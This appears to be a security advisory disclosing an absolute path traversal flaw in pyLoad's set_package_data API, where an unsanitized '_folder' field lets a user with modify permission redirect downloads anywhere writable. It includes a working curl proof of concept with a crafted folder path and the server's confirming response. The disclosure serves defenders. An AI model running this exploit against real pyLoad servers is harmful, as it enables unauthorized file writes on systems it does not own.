PyLoad vulnerable to Path Traversal via Package Folder Name in set_package_data

Summary

No sanitization of package folder name allows writing files anywhere outside the intended download directory.

Affected Component

• src/pyload/core/api/__init__.py
• Function: set_package_data()

Details

When passing a folder name in the set_package_data() API function call inside the data object with key "_folder", there is no sanitization at all, allowing a user with Perms.MODIFY to specify arbitrary directories as download locations for a package.

PoC

1. Create a package, note response package ID e.g. 5

curl -X 'POST' \
  'http://localhost:8000/api/add_package' \
  -H 'accept: application/json' \
  -H 'X-API-Key: <valid api key>' \
  -H 'Content-Type: application/json' \
  -d '{
  "name": "set_package_data_exploit_poc",
  "links": [
    "http://example.com/file.txt"
  ],
  "dest": 1
}'

2. Call set_package_data for this package ID with an arbitrary directory

curl -X 'POST' \
  'http://localhost:8000/api/set_package_data' \
  -H 'accept: */*' \
  -H 'X-API-Key: <valid api key>' \
  -H 'Content-Type: application/json' \
  -d '{
  "package_id": 5,
  "data": {
    "_folder": "/users/root/"
  }
}'

3. New download folder will be set without any checks

curl -X 'GET' \
  'http://localhost:8000/api/get_queue' \
  -H 'accept: application/json' \
  -H 'X-API-Key: <valid api key>'

Response:

[
  {
    "pid": 5,
    "name": "set_package_data_exploit_poc",
    "folder": "/users/root/",
    "site": "",
    "password": "",
    "dest": 1,
    "order": 1,
    "linksdone": 0,
    "sizedone": 0,
    "sizetotal": 0,
    "linkstotal": 1,
    "links": null,
    "fids": null
  }
]

Impact

Allows Absolute Path Traversal to write in an arbitrary directory as long as the pyLoad process has write access.